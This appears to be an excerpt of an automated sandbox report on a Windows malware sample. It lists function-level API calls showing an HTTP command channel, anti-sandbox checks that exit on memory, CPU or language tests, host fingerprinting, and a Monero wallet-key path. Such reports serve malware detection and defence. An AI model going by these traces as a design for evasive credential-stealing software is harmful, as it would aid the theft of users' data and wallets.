Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: (S$(U$(V$(W$(X$(Y$HU$HV$HW$HX$HttpQueryInfoA$InternetSetOptionA$hR$hT$hU$hV$hW$hX$hY$Q$U$V$W$X
API String ID: 2238633743-1331378193
Opcode ID: 8e727a900245297a784616c08c77e3a16200cde6260c0042c2643a965e321f98
Instruction ID: 9b9a6584b696e2c9cacaf7578bec29285b076ee1a7c442be307d661ad71cf1c0
Opcode Fuzzy Hash: 8e727a900245297a784616c08c77e3a16200cde6260c0042c2643a965e321f98
Instruction Fuzzy Hash: BF6228F5600A01AFC346EFAAED88D763BFDE74C341F14851AE60DC3264D679A849DB12

Function 001B6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001CA7E6

Part of subcall function 001B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001B4839
Part of subcall function 001B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001B4849

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

InternetOpenA.WININET(001D0DFE,00000001,00000000,00000000,00000000), ref: 001B62E1
StrCmpCA.SHLWAPI(?,00EEE498), ref: 001B6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001B6335
HttpOpenRequestA.WININET(00000000,GET,?,00EED8E8,00000000,00000000,00400100,00000000), ref: 001B6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001B63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001B63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 001B63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 001B646D
InternetCloseHandle.WININET(00000000), ref: 001B64EF
InternetCloseHandle.WININET(00000000), ref: 001B64F9
InternetCloseHandle.WININET(00000000), ref: 001B6503

Strings

GET, xrefs: 001B637C
ERROR, xrefs: 001B64C9
ERROR, xrefs: 001B6407

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 3ecfc28f7235a802a4f482d3145b7a8160af779e7db8383a6249bea6eb34cb07
Instruction ID: ae70068cc568cd188bc473f7415d8023a4127bd79bee7c7ceb7b991ac19d887d
Opcode Fuzzy Hash: 3ecfc28f7235a802a4f482d3145b7a8160af779e7db8383a6249bea6eb34cb07
Instruction Fuzzy Hash: F7715F71A00218ABDB25EFA0DC49FEE77B8FF64704F508199F1096B190DBB4AA85CF51

Function 001C5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001CA820: lstrlen.KERNEL32(001B4F05,?,?,001B4F05,001D0DDE), ref: 001CA82B
Part of subcall function 001CA820: lstrcpy.KERNEL32(001D0DDE,00000000), ref: 001CA885

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001C5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001C56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001C5857

Part of subcall function 001CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001CA7E6

Part of subcall function 001C51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001C5228

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

Part of subcall function 001C52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001C5318
Part of subcall function 001C52C0: lstrlen.KERNEL32(00000000), ref: 001C532F
Part of subcall function 001C52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 001C5364
Part of subcall function 001C52C0: lstrlen.KERNEL32(00000000), ref: 001C5383
Part of subcall function 001C52C0: lstrlen.KERNEL32(00000000), ref: 001C53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001C578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001C5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001C5A0C
Sleep.KERNEL32(0000EA60), ref: 001C5A1B

Strings

ERROR, xrefs: 001C5849
ERROR, xrefs: 001C5636
ERROR, xrefs: 001C5693
ERROR, xrefs: 001C5932
ERROR, xrefs: 001C577D
ERROR, xrefs: 001C59FE

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 73a2c1852a49511039e48de74242db16ecf26e98c193f27ec9b6bf420dff84f5
Instruction ID: 13fc33d9a7f14a86cd432373f1159ff98ab4b574b7870a7f71be1b6b6a9ba8cf
Opcode Fuzzy Hash: 73a2c1852a49511039e48de74242db16ecf26e98c193f27ec9b6bf420dff84f5
Instruction Fuzzy Hash: 70E1FB71910608ABCB16FBA0DC56FFD737DAF74345F90812CA40666191EF34EA49CBA2

Function 001C17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 001C17C5
ExitProcess.KERNEL32 ref: 001C17D1

Strings

block, xrefs: 001C17B7

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: f51f3a6796b0ba96f66960cfd47f2fc629c2b8e1697615acc529e54cdb24b72f
Instruction ID: 04ecc03b3361d9af08ff226894a092230e33923188ad8cddd490bf38055b1364
Opcode Fuzzy Hash: f51f3a6796b0ba96f66960cfd47f2fc629c2b8e1697615acc529e54cdb24b72f
Instruction Fuzzy Hash: 945137B4A4420AFBCB05DFA0D954FBE77BAAF69708F10804DE40AA7241D770E951CB62

Function 001C7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 001C7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 001C757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 001C7603
RtlAllocateHeap.NTDLL(00000000), ref: 001C760A
wsprintfA.USER32 ref: 001C7640

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Strings

C, xrefs: 001C754C
:, xrefs: 001C755C
\, xrefs: 001C7560

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 34d26a7a8db53330c5066fbee7b69f927fc1312033048976dc9ac9051189d659
Instruction ID: 35587ad0afe6efae2ccecc504e528f79570b206ef4a29cff1b8f0bdbb2852daa
Opcode Fuzzy Hash: 34d26a7a8db53330c5066fbee7b69f927fc1312033048976dc9ac9051189d659
Instruction Fuzzy Hash: 3F4182B1D04258ABDB11DF94DC85FEEBBB8AF28704F10019DF509A7280DB75AA44CFA5

Function 001C69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001C9860: GetProcAddress.KERNEL32(75900000,00EE0590), ref: 001C98A1
Part of subcall function 001C9860: GetProcAddress.KERNEL32(75900000,00EE0608), ref: 001C98BA
Part of subcall function 001C9860: GetProcAddress.KERNEL32(75900000,00EE0668), ref: 001C98D2
Part of subcall function 001C9860: GetProcAddress.KERNEL32(75900000,00EE05A8), ref: 001C98EA
Part of subcall function 001C9860: GetProcAddress.KERNEL32(75900000,00EE0728), ref: 001C9903
Part of subcall function 001C9860: GetProcAddress.KERNEL32(75900000,00EE8B48), ref: 001C991B
Part of subcall function 001C9860: GetProcAddress.KERNEL32(75900000,00ED53E8), ref: 001C9933
Part of subcall function 001C9860: GetProcAddress.KERNEL32(75900000,00ED5348), ref: 001C994C
Part of subcall function 001C9860: GetProcAddress.KERNEL32(75900000,00EE0770), ref: 001C9964
Part of subcall function 001C9860: GetProcAddress.KERNEL32(75900000,00EE05C0), ref: 001C997C
Part of subcall function 001C9860: GetProcAddress.KERNEL32(75900000,00EE07E8), ref: 001C9995
Part of subcall function 001C9860: GetProcAddress.KERNEL32(75900000,00EE05D8), ref: 001C99AD
Part of subcall function 001C9860: GetProcAddress.KERNEL32(75900000,00ED5388), ref: 001C99C5
Part of subcall function 001C9860: GetProcAddress.KERNEL32(75900000,00EE0680), ref: 001C99DE

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001B11D0: ExitProcess.KERNEL32 ref: 001B1211

Part of subcall function 001B1160: GetSystemInfo.KERNEL32(?), ref: 001B116A
Part of subcall function 001B1160: ExitProcess.KERNEL32 ref: 001B117E

Part of subcall function 001B1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 001B112B
Part of subcall function 001B1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 001B1132
Part of subcall function 001B1110: ExitProcess.KERNEL32 ref: 001B1143

Part of subcall function 001B1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 001B123E
Part of subcall function 001B1220: __aulldiv.LIBCMT ref: 001B1258
Part of subcall function 001B1220: __aulldiv.LIBCMT ref: 001B1266
Part of subcall function 001B1220: ExitProcess.KERNEL32 ref: 001B1294

Part of subcall function 001C6770: GetUserDefaultLangID.KERNEL32 ref: 001C6774

Part of subcall function 001B1190: ExitProcess.KERNEL32 ref: 001B11C6

Part of subcall function 001C7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001B11B7), ref: 001C7880
Part of subcall function 001C7850: RtlAllocateHeap.NTDLL(00000000), ref: 001C7887
Part of subcall function 001C7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 001C789F

Part of subcall function 001C78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001C7910
Part of subcall function 001C78E0: RtlAllocateHeap.NTDLL(00000000), ref: 001C7917
Part of subcall function 001C78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 001C792F

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00EE8AE8,?,001D110C,?,00000000,?,001D1110,?,00000000,001D0AEF), ref: 001C6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 001C6AE8
CloseHandle.KERNEL32(00000000), ref: 001C6AF9
Sleep.KERNEL32(00001770), ref: 001C6B04
CloseHandle.KERNEL32(?,00000000,?,00EE8AE8,?,001D110C,?,00000000,?,001D1110,?,00000000,001D0AEF), ref: 001C6B1A
ExitProcess.KERNEL32 ref: 001C6B22

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 6e3b8419a964d10257fa638f0ff3b832ed8bc8e7158193ba4ac0ef5001af20a8
Instruction ID: 07bef2ea587ba9bc1bc829b2b07a748a2f8fc51b42d8ec3e6f88a04b7821e9a3
Opcode Fuzzy Hash: 6e3b8419a964d10257fa638f0ff3b832ed8bc8e7158193ba4ac0ef5001af20a8
Instruction Fuzzy Hash: 6B31D671A40208ABDB06FBF0DC56FEE7778AF34345F90451CF212A6192DF70A905CAA6

Function 001B1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 001B123E
__aulldiv.LIBCMT ref: 001B1258
__aulldiv.LIBCMT ref: 001B1266
ExitProcess.KERNEL32 ref: 001B1294

Strings

@, xrefs: 001B1233

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 6a2f6a5acff36a5a84774016df0f1fc0a26c10c370ac6a87a4f8d3cd98d7a6f6
Instruction ID: 78c489a587c92ed2b8ac33cc51b45b718ca8cd9ceed1f7fc8aa4599d6419d2e8
Opcode Fuzzy Hash: 6a2f6a5acff36a5a84774016df0f1fc0a26c10c370ac6a87a4f8d3cd98d7a6f6
Instruction Fuzzy Hash: 19014FB0940308BAEB10DBE0DC59BAEB778AB14745F608058E605B6180D774A5458799

Function 001C6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00EE8AE8,?,001D110C,?,00000000,?,001D1110,?,00000000,001D0AEF), ref: 001C6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 001C6AE8
CloseHandle.KERNEL32(00000000), ref: 001C6AF9
Sleep.KERNEL32(00001770), ref: 001C6B04
CloseHandle.KERNEL32(?,00000000,?,00EE8AE8,?,001D110C,?,00000000,?,001D1110,?,00000000,001D0AEF), ref: 001C6B1A
ExitProcess.KERNEL32 ref: 001C6B22

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: bf0a4065befcb2a8848a18de75b71384b549c38048b456c011c850f37f8b2095
Instruction ID: 2550601647333f86607ae48ff620a946cad08009826d6ac52d01492e4fa70396
Opcode Fuzzy Hash: bf0a4065befcb2a8848a18de75b71384b549c38048b456c011c850f37f8b2095
Instruction Fuzzy Hash: 48F05EB0A40209AFE701ABA0DC06FBE7B78EF34701F10451CF516A21C1DBB0E940DA97

Function 001B47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001B4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 001B4849

Strings

<, xrefs: 001B47C9

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: dfa2cd9f764639c50c7e4815ab3c11c981be28fa90be44c0d67e56d6b8620e20
Instruction ID: b8e927cc234dc70262ca6332e1c4f4e1ef6b019b6759e703881a74c309da93e5
Opcode Fuzzy Hash: dfa2cd9f764639c50c7e4815ab3c11c981be28fa90be44c0d67e56d6b8620e20
Instruction Fuzzy Hash: 45215EB1D00209ABDF10EFA5EC45BDE7B74FF14320F108629F915A7291EB706A09CB81

Function 001C51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001CA7E6

Part of subcall function 001B6280: InternetOpenA.WININET(001D0DFE,00000001,00000000,00000000,00000000), ref: 001B62E1
Part of subcall function 001B6280: StrCmpCA.SHLWAPI(?,00EEE498), ref: 001B6303
Part of subcall function 001B6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001B6335
Part of subcall function 001B6280: HttpOpenRequestA.WININET(00000000,GET,?,00EED8E8,00000000,00000000,00400100,00000000), ref: 001B6385
Part of subcall function 001B6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001B63BF
Part of subcall function 001B6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001B63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001C5228

Strings

ERROR, xrefs: 001C521A
ERROR, xrefs: 001C5273

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
